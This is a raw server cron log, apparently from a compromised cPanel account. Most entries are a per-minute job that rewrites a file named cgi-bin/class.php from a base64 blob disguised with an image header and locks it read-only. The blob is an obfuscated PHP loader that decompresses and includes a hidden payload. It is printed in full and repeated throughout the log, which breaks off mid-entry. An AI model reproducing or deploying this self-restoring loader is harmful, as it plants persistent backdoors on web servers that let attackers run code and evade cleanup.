Nov 10 21:05:01 server CROND[11981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:06:01 server CROND[12871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:07:01 server CROND[13673]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:08:01 server CROND[14540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:09:01 server CROND[15353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:09:01 server CROND[15354]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 21:10:01 server CROND[16168]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 21:10:01 server CROND[16167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:10:01 server CROND[16169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:10:01 server CROND[16170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:11:01 server CROND[17155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:12:01 server CROND[17875]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 21:12:01 server CROND[17876]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:13:01 server CROND[18528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:14:01 server CROND[18771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:15:01 server CROND[19619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:15:01 server CROND[19620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:15:01 server CROND[19621]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:16:01 server CROND[20579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:17:01 server CROND[21387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:18:01 server CROND[22081]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 